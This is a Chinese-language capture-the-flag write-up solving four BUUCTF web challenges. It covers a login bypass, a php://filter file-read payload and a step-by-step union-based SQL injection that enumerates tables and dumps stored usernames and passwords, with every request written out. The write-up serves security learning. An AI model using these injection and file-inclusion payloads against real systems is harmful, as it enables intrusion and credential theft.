BUUCTF--web

目录

[极客大挑战 2019]EasySQL

[极客大挑战 2019]Havefun

 [极客大挑战 2019]Secret File

[极客大挑战 2019]LoveSQL


[极客大挑战 2019]EasySQL


打开题目发现需要输入用户名和密码,因为刚刚看了万能密码,所以可以尝试使用万能密码绕过,得出flag。

[极客大挑战 2019]Havefun


点击网页进去以后发现是一只小猫,没有任何线索,所以就可以考虑查看源代码,发现一段php语句,是一个简单的get传值。

        意思就是cat=dog的时候输出后面的字符串,所以在url后面加上?cat=dog,然后得出flag。

 

 [极客大挑战 2019]Secret File


打开题目以后没有任何线索,所以还是查看源代码,发现一个链接,打开它。

中间有个按钮,点击过后,发现来到了另一个页面

 

        根据文本提示可以尝试burp进行抓包处理,将抓到的右键送到repeater,然后send一下,发现了一条线索。 

加上后缀进行访问

 

看到这里我以为flag要出来了,结果还是没有,加上后缀访问。

 

  • 这时便想到了文件包含漏洞,看代码是对file进行了一定过滤,但并没有过滤filter
  • 用php://fileter伪协议来获取文件
  • ?file=php://filter/convert.base64-encode/resource=flag.php 

php://filter

可以获取指定文件的源码,但是当他与包含函数结合是,php://filter流会被当做php文件执行
。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取 。利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。而使用的convert.base64-encode,就是一种过滤器。

常用:

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php

 

 

然后base64解密得出flag。

 

这道题最后要对php伪协议有了解,所以我还是需要对这方面进行学习。

[极客大挑战 2019]LoveSQL


这一题是第一题的延续,还是先用万能密码进行测试,结果出了这个页面

 

    老老实实的进行SQL注入,首先就是查看有多少列,order by

username=admin&password=873d83e01fbdd109654b2ee2c7a06416' order by 3 %23 

username=admin&password=873d83e01fbdd109654b2ee2c7a06416' order by 4 %23 

 到第四列是报错,说明有三列。

然后查询注入点

username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,3 %23

 

得到回显点位为2和3,查询当前数据库名:

username=admin&password=-873d83e01fbdd109654b2ee2c7a06416'union select 1,2,database() %23

 

 

爆表 

username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema=database()  %23  

 

 

 先爆表geekuser字段名

username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(column_name)  from information_schema.columns where table_schema=database() and table_name='geekuser'   %23  

 

 在爆破表l0ve1ysq1字段

username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(column_name)  from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'   %23  

 

和上面一样。

爆表geekuser数据

username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(username,0x3a,password)  from geekuser   %23  

 

并不是flag。

继续爆表l0ve1ysq1数据

username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(username,0x3a,password)  from l0ve1ysq1   %23  

 

 

 找到flag。